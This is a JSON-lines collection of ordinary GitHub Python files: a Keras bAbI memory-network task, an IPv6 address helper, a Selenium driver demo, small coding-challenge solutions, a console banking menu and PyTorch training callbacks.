+{"seq_id":"35141871462","text":"from collections import namedtuple\nfrom typing import List\nfrom functools import reduce\nimport tarfile\nimport re\n\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Embedding\nfrom tensorflow.keras.layers import Input, Activation, Dense, Permute, Dropout\nfrom tensorflow.keras.layers import add, dot, concatenate\nfrom tensorflow.keras.layers import LSTM\nfrom tensorflow.keras.regularizers import l1_l2\nfrom tensorflow.keras.utils import get_file\nfrom tensorflow.keras.optimizers import RMSprop, Adagrad, Adam, SGD\nfrom tensorflow.keras.callbacks import EarlyStopping\nfrom tensorflow.keras import losses\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras import optimizers\nfrom tensorflow import convert_to_tensor\nfrom tensorflow.keras.utils import plot_model\nimport numpy as np\n\nfrom supervised_learning_tasks.task_supervised_keras import TaskKeras\n\n\nclass TaskBabiMemoryNetwork(TaskKeras):\n\n def __init__(self, dataset: str = 'single_supporting_fact', verbose_init: bool = False):\n if dataset not in ['single_supporting_fact','two_supporting_facts']:\n raise ValueError\n self.dataset = dataset\n TaskKeras.__init__(self, verbose_init=verbose_init)\n\n def get_x_train(self, sample_IDs: List[int] = \"all\") -> List[np.ndarray]:\n if sample_IDs == \"all\":\n return [self.inputs_train, self.queries_train]\n else:\n inputs_train = np.concatenate([self.inputs_train[i, None] for i in sample_IDs])\n queries_train = np.concatenate([self.queries_train[i, None] for i in sample_IDs])\n return [inputs_train, queries_train]\n\n def get_y_train(self, sampleIDs: List[int] = \"all\") -> np.ndarray:\n if sampleIDs == \"all\":\n return self.answers_train\n else:\n return np.concatenate([self.answers_train[i, None] for i in sampleIDs])\n\n def get_x_test(self) -> List[np.ndarray]:\n return [self.inputs_test, self.queries_test]\n\n def get_y_test(self) -> np.ndarray:\n return self.answers_test\n\n def get_loss_function(self):\n return losses.SparseCategoricalCrossentropy\n\n def get_samples_repr_1d(self, sample_IDs: List[int] = 'all') -> dict:\n if not hasattr(self, \"samples_repr_1d\"):\n inputs_train, queries_train = self.get_x_train()\n model_repr_1d = Model(inputs=[self.model.layers[0].input, self.model.layers[1].input],\n outputs=self.model.get_layer(\"repr_1d\").output)\n samples_repr_1d = model_repr_1d.predict([inputs_train, queries_train])\n self.samples_repr_1d = np.reshape(samples_repr_1d, newshape=(samples_repr_1d.shape[0], -1))\n if not isinstance(sample_IDs, str) or not sample_IDs == 'all':\n samples_repr_1d = np.concatenate([self.samples_repr_1d[i, None] for i in sample_IDs])\n else:\n samples_repr_1d = self.samples_repr_1d\n return samples_repr_1d\n\n def define_model(self, params: dict = None):\n\n if params == None:\n params = dict()\n regularization_factor_l1 = params.get(\"regularization_factor_l1\", 5.36e-5)\n regularization_factor_l2 = params.get(\"regularization_factor_l2\", 1.38e-4)\n dropout_rate = params.get(\"dropout_rate\", 0.265)\n learning_rate = params.get(\"learning_rate\", 0.0038)\n optimizer = params.get(\"optimizer\", RMSprop)\n lstm_neurons = int(params.get(\"lstm_neurons\", 32))\n kernel_regularizer = l1_l2(regularization_factor_l1, regularization_factor_l2)\n\n # placeholders\n input_sequence = Input((self.data_params.story_maxlen,))\n question = Input((self.data_params.query_maxlen,))\n\n # encoders\n # embed the input sequence into a sequence of vectors\n input_encoder_m = Sequential()\n input_encoder_m.add(Embedding(input_dim=self.data_params.vocab_size,\n output_dim=64))\n input_encoder_m.add(Dropout(dropout_rate))\n # output: (samples, story_maxlen, embedding_dim)\n\n # embed the input into a sequence of vectors of size query_maxlen\n input_encoder_c = Sequential()\n input_encoder_c.add(Embedding(input_dim=self.data_params.vocab_size,\n output_dim=self.data_params.query_maxlen))\n input_encoder_c.add(Dropout(dropout_rate))\n # output: (samples, story_maxlen, query_maxlen)\n\n # embed the question into a sequence of vectors\n question_encoder = Sequential()\n question_encoder.add(Embedding(input_dim=self.data_params.vocab_size,\n output_dim=64,\n input_length=self.data_params.query_maxlen))\n question_encoder.add(Dropout(dropout_rate))\n # output: (samples, query_maxlen, embedding_dim)\n\n # encode input sequence and questions (which are indices)\n # to sequences of dense vectors\n input_encoded_m = input_encoder_m(input_sequence)\n input_encoded_c = input_encoder_c(input_sequence)\n question_encoded = question_encoder(question)\n\n # compute a 'match' between the first input vector sequence\n # and the question vector sequence\n # shape: `(samples, story_maxlen, query_maxlen)`\n match = dot([input_encoded_m, question_encoded], axes=(2, 2))\n match = Activation('softmax')(match)\n\n # add the match matrix with the second input vector sequence\n response = add([match, input_encoded_c]) # (samples, story_maxlen, query_maxlen)\n response = Permute((2, 1))(response) # (samples, query_maxlen, story_maxlen)\n\n # concatenate the match matrix with the question vector sequence\n answer = concatenate([response, question_encoded], name=\"repr_1d\")\n\n # the original paper uses a matrix multiplication for this reduction step.\n # we choose to use a RNN instead.\n answer = Dropout(learning_rate)(answer)\n answer = LSTM(lstm_neurons, kernel_regularizer=kernel_regularizer)(answer) # (samples, 32)\n\n # one regularization layer -- more would probably be needed.\n answer = Dropout(learning_rate)(answer)\n answer = Dense(self.data_params.vocab_size, kernel_regularizer=kernel_regularizer)(\n answer) # (samples, vocab_size)\n # we output a probability distribution over the vocabulary\n answer = Activation('softmax')(answer)\n\n # build the final model\n model = Model([input_sequence, question], answer)\n optimizer = optimizer(lr=learning_rate)\n model.compile(optimizer=optimizer, loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n\n if False:\n plot_model(model,show_shapes=True,show_layer_names=True)\n\n return model\n\n def model_fit(self, x_train, y_train, batch_size=2, epochs=32, verbose=False, withAugmentation=False):\n\n return self.model.fit(x_train, y_train,\n batch_size=batch_size,\n epochs=epochs,\n verbose=verbose,\n workers=1,\n use_multiprocessing=0)\n\n def train_with_hyperopt(self, no_random_samples: int = 1000, no_iterations: int = 100):\n from hyperopt import fmin, tpe, rand, hp, STATUS_OK, Trials, space_eval\n\n param_space = dict()\n # optimizers = [SGD, Adam,Adagrad,RMSprop]\n # optimizers = optimizers[1:2]\n names = [\"regularization_factor_l1\", \"regularization_factor_l2\", \"dropout_rate\", \"learning_rate\",\n \"optimizer\", \"lstm_neurons\", \"no_epochs\", \"batch_size\"]\n param_space[names[0]] = hp.loguniform(names[0], np.log(1e-5), np.log(9e-4))\n param_space[names[1]] = hp.loguniform(names[1], np.log(1e-5), np.log(9e-4))\n param_space[names[2]] = hp.uniform(names[2], 0.1, 0.3)\n param_space[names[3]] = hp.loguniform(names[3], np.log(1e-4), np.log(90e-4))\n # param_space[names[4]] = hp.choice(names[4], optimizers)\n param_space[names[5]] = hp.loguniform(names[5], np.log(12), np.log(32 + 1), q=1)\n param_space[names[6]] = hp.loguniform(names[6], np.log(20), np.log(50 + 1), q=1)\n # param_space[names[7]] = hp.loguniform(names[7], np.log(1), np.log(8+1), q=1)\n\n # train\n x_test = self.get_x_test()\n y_test = self.get_y_test()\n no_training_samples = len(self.get_x_train()[0])\n\n def objective_function(hyperparam_dict: dict, verbose=False) -> float:\n self.model = self.define_model(hyperparam_dict)\n # randomly sample subset\n sample_IDs = np.random.choice(range(no_training_samples), size=no_random_samples, replace=False)\n no_epochs = int(hyperparam_dict.get('no_epochs', self.get_no_epochs()))\n batch_size = int(hyperparam_dict.get('batch_size', 32))\n loss, acc = self.train_on_batch(sample_IDs=sample_IDs, epochs=no_epochs, resetWeights=False,\n batch_size=batch_size)\n print(\"loss:\" + str(loss) + \" acc: \" + str(acc) + \" hyperparams: \" + str(hyperparam_dict))\n if np.isnan(loss):\n print(\"ERROR: validation loss is nan with following hyperparams:\")\n print(hyperparam_dict)\n raise ValueError\n return -1 * acc\n\n # perform optimization\n # minimize the objective over the space\n from hyperopt import fmin, atpe, tpe\n best = fmin(objective_function, param_space, algo=atpe.suggest, max_evals=no_iterations, verbose=True)\n print(\"best params: \" + str(best))\n bestAcc = objective_function(best, verbose=True)\n print(\"best validation acc:\" + str(bestAcc))\n # print(\"weights:\" + str(list(self.model.get_weights()[0])))\n\n def get_dataset(self, verbose_init):\n try:\n path = get_file('babi-tasks-v1-2.tar.gz',\n origin='https://s3.amazonaws.com/text-datasets/'\n 'babi_tasks_1-20_v1-2.tar.gz')\n except:\n print('Error downloading dataset, please download it manually:\\n'\n '$ wget http://www.thespermwhale.com/jaseweston/babi/tasks_1-20_v1-2'\n '.tar.gz\\n'\n '$ mv tasks_1-20_v1-2.tar.gz ~/.keras/datasets/babi-tasks-v1-2.tar.gz')\n raise\n\n challenges = {\n # QA1 with 10,000 samples\n 'single_supporting_fact': 'tasks_1-20_v1-2/en-10k/qa1_'\n 'single-supporting-fact_{}.txt',\n # QA2 with 10,000 samples\n 'two_supporting_facts': 'tasks_1-20_v1-2/en-10k/qa2_'\n 'two-supporting-facts_{}.txt',\n }\n challenge = challenges[self.dataset]\n\n if verbose_init:\n print('Extracting stories for the challenge:', self.dataset)\n with tarfile.open(path) as tar:\n train_stories = self.get_stories(tar.extractfile(challenge.format('train')))\n test_stories = self.get_stories(tar.extractfile(challenge.format('test')))\n\n vocab = set()\n for story, q, answer in train_stories + test_stories:\n vocab |= set(story + q + [answer])\n vocab = sorted(vocab)\n\n # Reserve 0 for masking via pad_sequences\n vocab_size = len(vocab) + 1\n story_maxlen = max(map(len, (x for x, _, _ in train_stories + test_stories)))\n query_maxlen = max(map(len, (x for _, x, _ in train_stories + test_stories)))\n DataParams = namedtuple('data_params', 'vocab_size story_maxlen query_maxlen')\n self.data_params = DataParams(vocab_size, story_maxlen, query_maxlen)\n\n if verbose_init:\n print('-')\n print('Vocab size:', vocab_size, 'unique words')\n print('Story max length:', story_maxlen, 'words')\n print('Query max length:', query_maxlen, 'words')\n print('Number of training stories:', len(train_stories))\n print('Number of test stories:', len(test_stories))\n print('-')\n print('Here\\'s what a \"story\" tuple looks like (input, query, answer):')\n print(train_stories[0])\n print('-')\n print('Vectorizing the word sequences...')\n\n word_idx = dict((c, i + 1) for i, c in enumerate(vocab))\n self.inputs_train, self.queries_train, self.answers_train = self.vectorize_stories(train_stories, word_idx)\n self.inputs_test, self.queries_test, self.answers_test = self.vectorize_stories(test_stories, word_idx)\n\n if verbose_init:\n print('-')\n print('inputs: integer tensor of shape (samples, max_length)')\n print('inputs_train shape:', self.inputs_train.shape)\n print('inputs_test shape:', self.inputs_test.shape)\n print('-')\n print('queries: integer tensor of shape (samples, max_length)')\n print('queries_train shape:', self.queries_train.shape)\n print('queries_test shape:', self.queries_test.shape)\n print('-')\n print('answers: binary (1 or 0) tensor of shape (samples, vocab_size)')\n print('answers_train shape:', self.answers_train.shape)\n print('answers_test shape:', self.answers_test.shape)\n print('-')\n\n def tokenize(self, sent):\n '''Return the tokens of a sentence including punctuation.\n\n >>> tokenize('Bob dropped the apple. Where is the apple?')\n ['Bob', 'dropped', 'the', 'apple', '.', 'Where', 'is', 'the', 'apple', '?']\n '''\n return [x.strip() for x in re.split(r'(\\W+)+', sent) if x.strip()]\n\n def parse_stories(self, lines, only_supporting=False):\n '''Parse stories provided in the bAbi tasks format\n\n If only_supporting is true, only the sentences\n that support the answer are kept.\n '''\n data = []\n story = []\n for line in lines:\n line = line.decode('utf-8').strip()\n nid, line = line.split(' ', 1)\n nid = int(nid)\n if nid == 1:\n story = []\n if '\\t' in line:\n q, a, supporting = line.split('\\t')\n q = self.tokenize(q)\n if only_supporting:\n # Only select the related substory\n supporting = map(int, supporting.split())\n substory = [story[i - 1] for i in supporting]\n else:\n # Provide all the substories\n substory = [x for x in story if x]\n data.append((substory, q, a))\n story.append('')\n else:\n sent = self.tokenize(line)\n story.append(sent)\n return data\n\n def get_stories(self, f, only_supporting=False, max_length=None):\n '''Given a file name, read the file,\n retrieve the stories,\n and then convert the sentences into a single story.\n\n If max_length is supplied,\n any stories longer than max_length tokens will be discarded.\n '''\n data = self.parse_stories(f.readlines(), only_supporting=only_supporting)\n flatten = lambda data: reduce(lambda x, y: x + y, data)\n data = [(flatten(story), q, answer) for story, q, answer in data\n if not max_length or len(flatten(story)) < max_length]\n return data\n\n def vectorize_stories(self, data, word_idx):\n inputs, queries, answers = [], [], []\n for story, query, answer in data:\n inputs.append([word_idx[w] for w in story])\n queries.append([word_idx[w] for w in query])\n answers.append(word_idx[answer])\n return (pad_sequences(inputs, maxlen=self.data_params.story_maxlen),\n pad_sequences(queries, maxlen=self.data_params.query_maxlen),\n np.array(answers))\n\n def get_no_epochs(self) -> int:\n return 100\n","repo_name":"MalteEbner/Learning-active-learning-with-ensembles-of-active-learning-agents","sub_path":"supervised_learning_tasks/tasks_QA_bAbI/task_bAbI_memoryNetwork.py","file_name":"task_bAbI_memoryNetwork.py","file_ext":"py","file_size_in_byte":16083,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"75232991611","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\n ORCA Open Remote Control Application\r\n Copyright (C) 2013-2020 Carsten Thielepape\r\n Please contact me by : http://www.orca-remote.org/\r\n\r\n This program is free software: you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n\r\n This program is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n\r\n You should have received a copy of the GNU General Public License\r\n along with this program. If not, see .\r\n\"\"\"\r\n\r\n# this is temporary as long netifaces does not work on android\r\n\r\nimport socket\r\nfrom kivy.logger import Logger\r\nfrom ORCA.utils.LogError import LogError\r\n\r\n\r\n__all__ = ['GetIPAddressV6']\r\n\r\ndef GetIPAddressV6() -> str:\r\n\r\n # Under construction\r\n\r\n uIP:str = u''\r\n\r\n # Fast but not safe\r\n try:\r\n s:socket.socket = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)\r\n # Not necessary successfull\r\n s.connect(('2001:0db8:85a3:0000:0000:8a2e:0370:7334', 1))\r\n uIP = s.getsockname()[0]\r\n except Exception as e:\r\n LogError(uMsg=\"Failure on GetIPAddressV6\", oException=e)\r\n return uIP\r\n s.close()\r\n\r\n Logger.debug(\"Found IPv6 Address:\"+uIP)\r\n\r\n return uIP\r\n","repo_name":"thica/ORCA-Remote","sub_path":"src/ORCA/utils/Platform/android/android_GetIPAddressV6.py","file_name":"android_GetIPAddressV6.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"78"}
+{"seq_id":"22336764060","text":"from selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom webdriver_manager.firefox import GeckoDriverManager\n\nimport time\nbrowser = 'chrome'\n\nif browser=='chrome':\n driver = webdriver.Chrome(ChromeDriverManager().install())\nelif browser=='firefox':\n driver = webdriver.Chrome(executable_path=GeckoDriverManager().install())\nelse:\n print('please give proper browser')\n\ndriver.get('http://demowebshop.tricentis.com/')\nprint(driver.title)\ntime.sleep(5)\ndriver.quit()\n","repo_name":"shashibhushanvirajaji/SeleniumPythonPractice","sub_path":"Seleniumpractice/WebDriverManager.py","file_name":"WebDriverManager.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38937574576","text":"def calcMissing(readings):\n def isfloat(value):\n try:\n float(value)\n return True\n except ValueError:\n return False\n\n for n in range(len(readings)):\n a = readings[n]\n a1 = a.split()[2]\n a2 = [char for char in a1]\n if 'M' in a2:\n k = []\n for n2 in range(4):\n if (n - 2 + n2) < len(readings) and isfloat(readings[n - 2 + n2].split()[2]):\n k.append(float(readings[n - 2 + n2].split()[2]))\n print(sum(k) / len(k))\n\n\nif __name__ == '__main__':\n readings_count = int(input().strip())\n\n readings = []\n\n for _ in range(readings_count):\n readings_item = input()\n readings.append(readings_item)\n\n calcMissing(readings)\n","repo_name":"yonggabkim7/hackerrank-Missingdata","sub_path":"Missing data.py","file_name":"Missing data.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"17186151048","text":"import sys\r\n\r\nif __name__ == '__main__':\r\n input = sys.stdin.readline\r\n n, k = map(int,input().split())\r\n\r\n coins = [int(input()) for _ in range(n)]\r\n\r\n dp = [1e9] * (k+1)\r\n for coin in coins:\r\n if coin < k:\r\n dp[coin] = 1\r\n\r\n for i in range(1,k+1):\r\n for coin in coins:\r\n if i-coin > 0:\r\n dp[i] = min(dp[i], dp[i-coin] + dp[coin])\r\n \r\n if dp[k] == 1e9:\r\n print(-1)\r\n else:\r\n print(dp[k])\r\n","repo_name":"parkchanbin54/boj","sub_path":"백준/Gold/2294. 동전 2/동전 2.py","file_name":"동전 2.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"71643502013","text":"import os\nfrom System_Bank import BankAccount\n\nos.system(\"cls\")\nprint(20 * \"=-\")\nprint(10 * \" \" + \"Welcome to System Bank\")\nprint(20 * \"=-\")\nprint(\"What is your name?\")\nuser_name = input(\"Type your name: \")\nuser_account = BankAccount(user_name)\n\nwhile True:\n print(20 * \"=-\")\n print(6 * \" \" + \"How can I help you, {}\\n\".format(user_name))\n print( 20 * \"=-\")\n print(\"Options:\")\n print(\"1. Check Balance\")\n print(\"2. Deposit\")\n print(\"3. Cash Out\")\n print(\"4. Exit\")\n print(20 * \"=-\") \n\n option = input(\"Choose an option (1/2/3/4): \")\n\n if option == \"1\":\n user_account.loading_animation()\n os.system(\"cls\")\n user_account.check_balance()\n elif option == \"2\":\n deposit_amount = float(input(\"Type the amount to be deposited: \"))\n user_account.loading_animation()\n os.system(\"cls\")\n user_account.deposit(deposit_amount)\n elif option == \"3\":\n withdrawal_amount = float(input(\"Type the amount to be withdrawn: \"))\n user_account.loading_animation()\n os.system(\"cls\")\n user_account.cash_out(withdrawal_amount)\n elif option == \"4\":\n print(\"Exiting the system.\")\n user_account.loading_animation()\n print(\"Thank you for using our services.\")\n break\n else:\n print(\"Invalid option. Please try again.\")\n","repo_name":"Gstv2/Banking-System","sub_path":"View_bank.py","file_name":"View_bank.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"72979510652","text":"\"\"\"\nThis module contains callbacks used during training/validation phases.\n\"\"\"\nimport os\nfrom pathlib import Path\nfrom typing import Union\n\nimport torch\nimport torch.optim.lr_scheduler as lr_scheduler\n\nfrom tqdm import tqdm\nfrom collections import OrderedDict\nfrom tensorboardX import SummaryWriter\n\n\nclass TrainCallback:\n def on_epoch_begin(self, epoch, logs=None):\n pass\n\n def on_epoch_end(self, epoch, logs=None):\n pass\n\n def on_batch_begin(self, batch, logs=None):\n pass\n\n def on_batch_end(self, batch, logs=None):\n pass\n\n def on_train_begin(self, logs=None):\n pass\n\n def on_train_end(self, logs=None):\n pass\n\n\nclass TrainCallbackList(object):\n \"\"\"Container abstracting a list of callbacks.\n Args:\n callbacks: List of `Callback` instances.\n queue_length: Queue length for keeping\n running statistics over callback execution time.\n \"\"\"\n\n def __init__(self, callbacks=None, queue_length=10):\n callbacks = callbacks or []\n self.callbacks = [c for c in callbacks]\n self.queue_length = queue_length\n\n def append(self, callback):\n assert isinstance(callback, TrainCallback), \\\n \"Your callback is not an instance of TrainCallback: {}\".format(callback)\n self.callbacks.append(callback)\n\n def on_epoch_begin(self, epoch, logs=None):\n \"\"\"Called at the start of an epoch.\n Args:\n epoch: integer, index of epoch (starts at 1).\n logs: dictionary of logs.\n \"\"\"\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_epoch_begin(epoch, logs)\n\n def on_epoch_end(self, epoch, logs=None):\n \"\"\"Called at the end of an epoch.\n Args:\n epoch: integer, index of epoch.\n logs: dictionary of logs.\n \"\"\"\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_epoch_end(epoch, logs)\n\n def on_batch_begin(self, batch, logs=None):\n \"\"\"Called right before processing a batch.\n Args:\n batch: integer, index of batch within the current epoch.\n logs: dictionary of logs.\n \"\"\"\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_batch_begin(batch, logs)\n\n def on_batch_end(self, batch, logs=None):\n \"\"\"Called at the end of a batch.\n Args:\n batch: integer, index of batch within the current epoch.\n logs: dictionary of logs.\n \"\"\"\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_batch_end(batch, logs)\n\n def on_train_begin(self, logs=None):\n \"\"\"Called at the beginning of training.\n Args:\n logs: dictionary of logs.\n \"\"\"\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_train_begin(logs)\n\n def on_train_end(self, logs=None):\n \"\"\"Called at the end of training.\n Args:\n logs: dictionary of logs.\n \"\"\"\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_train_end(logs)\n\n def __iter__(self):\n return iter(self.callbacks)\n\n\nclass TQDM(TrainCallback):\n def __init__(self):\n super().__init__()\n self.train_pbar = None\n self.val_pbar = None\n self.total_epochs = 0\n self.train_loader_len = 0\n self.val_loader_len = 0\n\n def on_epoch_begin(self, epoch, logs=None):\n step = logs[\"step\"]\n if step == 'training':\n self.train_pbar = tqdm(total=self.train_loader_len,\n desc=\"Epochs {}/{}\".format(epoch, self.total_epochs),\n bar_format='{l_bar}{bar}| {n_fmt}/{total_fmt} [{remaining}{postfix}]'\n )\n elif step == 'validation':\n self.val_pbar = tqdm(total=self.val_loader_len, desc=\"Validating\", leave=False)\n\n def on_epoch_end(self, epoch, logs=None):\n step = logs[\"step\"]\n\n if step == 'training':\n self.train_pbar.close()\n train_logs = logs['epoch_logs']\n train_metrics = logs['metrics_logs']\n if len(train_logs) > 0:\n print(*[\"{}={:03f}\".format(k, v) for k, v in train_logs.items()], end=' ')\n print()\n\n if len(train_metrics) > 0:\n print(\"{:>14}\".format(\"Train metrics:\"), end=' ')\n print(*[\"{}={:03f}\".format(k, v) for k, v in train_metrics.items()])\n else:\n print()\n elif step == 'validation':\n self.val_pbar.close()\n val_logs = logs.get('epoch_logs')\n if val_logs and len(val_logs) > 0:\n print(*[\"{}={:03f}\".format(k, v) for k, v in val_logs.items()], end=' ')\n print()\n\n val_metrics = logs.get('metrics_logs')\n if val_metrics and len(val_metrics) > 0:\n print(\"{:>14}\".format(\"Val metrics:\"), end=' ')\n print(*[\"{}={:03f}\".format(k, v) for k, v in val_metrics.items()])\n else:\n print()\n\n def on_batch_begin(self, batch, logs=None):\n pass\n\n def on_batch_end(self, batch, logs=None):\n step = logs[\"step\"]\n batch_logs = logs.get(\"batch_logs\")\n\n if step == \"validation\":\n self.train_pbar.set_description(step) # training or validating\n postfix = OrderedDict()\n if batch_logs:\n for name, value in batch_logs.items():\n postfix[name] = '{0:1.5f}'.format(value)\n\n self.train_pbar.set_postfix(postfix)\n self.train_pbar.update(1)\n\n def on_train_begin(self, logs=None):\n self.total_epochs = logs[\"total_epochs\"]\n self.train_loader_len = len(logs[\"train_loader\"])\n self.val_loader_len = len(logs[\"val_loader\"]) if logs[\"val_loader\"] else None\n\n\nclass ReduceLROnPlateau(TrainCallback):\n \"\"\"Reduce learning rate when a metric has stopped improving.\n Models often benefit from reducing the learning rate by a factor\n of 2-10 once learning stagnates. This scheduler reads a metrics\n quantity and if no improvement is seen for a 'patience' number\n of epochs, the learning rate is reduced.\n\n Args:\n optimizer (Optimizer): Wrapped optimizer.\n loss_step (str): Either \"train\" or \"valid\" to reduce the lr according\n to the train loss of valid loss\n mode (str): One of `min`, `max`. In `min` mode, lr will\n be reduced when the quantity monitored has stopped\n decreasing; in `max` mode it will be reduced when the\n quantity monitored has stopped increasing. Default: 'min'.\n factor (float): Factor by which the learning rate will be\n reduced. new_lr = lr * factor. Default: 0.1.\n patience (int): Number of epochs with no improvement after\n which learning rate will be reduced. Default: 10.\n verbose (bool): If True, prints a message to stdout for\n each update. Default: False.\n threshold (float): Threshold for measuring the new optimum,\n to only focus on significant changes. Default: 1e-4.\n threshold_mode (str): One of `rel`, `abs`. In `rel` mode,\n dynamic_threshold = best * ( 1 + threshold ) in 'max'\n mode or best * ( 1 - threshold ) in `min` mode.\n In `abs` mode, dynamic_threshold = best + threshold in\n `max` mode or best - threshold in `min` mode. Default: 'rel'.\n cooldown (int): Number of epochs to wait before resuming\n normal operation after lr has been reduced. Default: 0.\n min_lr (float or list): A scalar or a list of scalars. A\n lower bound on the learning rate of all param groups\n or each group respectively. Default: 0.\n eps (float): Minimal decay applied to lr. If the difference\n between new and old lr is smaller than eps, the update is\n ignored. Default: 1e-8.\n \"\"\"\n\n def __init__(self, optimizer, loss_step=\"train\", mode='min', factor=0.1, patience=10, verbose=False, threshold=1e-4,\n threshold_mode='rel', cooldown=0, min_lr=0, eps=1e-8):\n super().__init__()\n self.loss_step = loss_step\n self.lr_sch = lr_scheduler.ReduceLROnPlateau(optimizer, mode, factor, patience,\n verbose, threshold, threshold_mode,\n cooldown, min_lr, eps)\n\n def on_epoch_end(self, epoch, logs=None):\n step = logs[\"step\"]\n if step == 'training':\n for k, v in logs.items():\n if self.loss_step == \"valid\":\n if k == 'val_loss':\n if not v:\n raise ValueError(\"ReduceLROnPlateau: No validation loss has been found\")\n self.lr_sch.step(v, epoch)\n else:\n if k == 'train_loss':\n self.lr_sch.step(v, epoch)\n\n\nclass ModelSaverCallback(TrainCallback):\n def __init__(self, to_dir: Union[str, Path], epochs, every_n_epoch=1):\n \"\"\"\n Saves the model every n epochs in to_dir\n Args:\n to_dir (str): The path where to save the model\n epochs (int): Total number of epochs on which you'll train your model(s)\n every_n_epoch (int): Save the model every n epochs\n \"\"\"\n super().__init__()\n self.epochs = epochs\n self.every_n_epoch = every_n_epoch\n self.to_dir = Path(to_dir)\n\n @staticmethod\n def restore_models(models, from_dir, load_with_cpu=False):\n \"\"\"\n Restore model(s) from the given dir.\n If models are multiples they will be automatically matched to\n the right files with a match between: class name -> file name\n Args:\n models (list): A list of models (Pytorch modules)\n from_dir (str): The directory where the model is stored\n load_with_cpu (bool): Whether to load with cpu. If False load with cuda\n\n Returns:\n list: The restored models\n \"\"\"\n i = 0\n for model in models:\n file = os.path.join(from_dir, model.__class__.__name__ + \".pth\")\n if os.path.isfile(file):\n if load_with_cpu:\n state_dict = torch.load(file, map_location='cpu')\n else:\n state_dict = torch.load(file)\n model.load_state_dict(state_dict)\n i += 1\n\n assert i == len(models), \"Not all models were restored. Please check that your passed models and files match\"\n print(\"\\n--- Model(s) restored from {} ---\".format(from_dir), end='\\n\\n')\n return models\n\n @staticmethod\n def restore_model_from_file(model, file, load_with_cpu=False):\n \"\"\"\n Restore a model from a file\n Args:\n model (torch.Module): A model module\n file (file): A file containing the pretrained model to load in\n load_with_cpu (bool): Whether to load with cpu. If False load with cuda\n\n Returns:\n torch.Module: The restored model\n \"\"\"\n if load_with_cpu:\n # Load all tensors onto the CPU\n state_dict = torch.load(file, map_location=lambda storage, loc: storage)\n else:\n state_dict = torch.load(file)\n model.load_state_dict(state_dict)\n print(\"\\n--- Model restored ---\", end='\\n\\n')\n return model\n\n def on_epoch_end(self, epoch, logs=None):\n step = logs[\"step\"]\n if step == 'training':\n if epoch % self.every_n_epoch == 0 or epoch == self.epochs:\n for k, m in logs['models'].items():\n torch.save(m.state_dict(), os.path.join(self.to_dir, k + \"_epoch-{}\".format(epoch) + \".pth\"))\n # Erase the last default model\n torch.save(m.state_dict(), os.path.join(self.to_dir, k + \".pth\"))\n print(\"\\n--- Model(s) saved in {} ---\".format(self.to_dir), end='\\n\\n')\n\n\nclass CosineAnnealingCallback(TrainCallback):\n def __init__(self, optimizer, T_max, eta_min=0, last_epoch=-1):\n # https://youtu.be/EKzSiuqiHNg?t=1h18m9s\n self.lr_sch = lr_scheduler.CosineAnnealingLR(optimizer, T_max, eta_min, last_epoch)\n\n def on_epoch_end(self, epoch, logs=None):\n step = logs[\"step\"]\n if step == \"training\":\n self.lr_sch.step(epoch)\n\n\nclass CycleLenCallback(TrainCallback):\n def __init__(self):\n \"\"\"\n Number of cycles before lr is reset to the initial value.\n E.g. if cycle_len = 3, then the lr is varied between a maximum\n and minimum value over 3 epochs.\n \"\"\"\n # TODO implement (learner.py in fast.ai)\n super().__init__()\n\n\nclass GradientClippingCallback(TrainCallback):\n def __init__(self):\n \"\"\"\n Gradient clipping\n # TODO implement: https://github.com/fastai/fastai/blob/master/fastai/model.py#L46\n \"\"\"\n super().__init__()\n\n\nclass TensorboardVisualizerCallback(TrainCallback):\n def __init__(self, to_dir):\n \"\"\"\n Callback intended to be executed at each epoch\n of the training which goal is to display the result\n of the last validation batch in Tensorboard\n # TODO add embeddings visualization\n Args:\n to_dir (str): The path where to store the log files\n \"\"\"\n super().__init__()\n self.to_dir = to_dir\n self.writer = SummaryWriter(to_dir)\n\n def on_epoch_end(self, epoch, logs=None):\n step = logs['step']\n epoch_id = logs['epoch_id']\n epoch_logs = logs.get('epoch_logs')\n metrics_logs = logs.get('metrics_logs')\n if epoch_logs:\n for k, v in epoch_logs.items():\n self.writer.add_scalar('loss/' + step + '/' + k, v, epoch_id)\n if metrics_logs:\n for k, v in metrics_logs.items():\n self.writer.add_scalar('metric/' + step + '/' + k, v, epoch_id)\n\n def on_train_end(self, logs=None):\n self.writer.close()\n print(\"\\n--- Tensorboard logs saved in {} ---\".format(self.to_dir), end='\\n\\n')\n","repo_name":"EKami/torchlite","sub_path":"torchlite/torch/train_callbacks.py","file_name":"train_callbacks.py","file_ext":"py","file_size_in_byte":14503,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"78"}
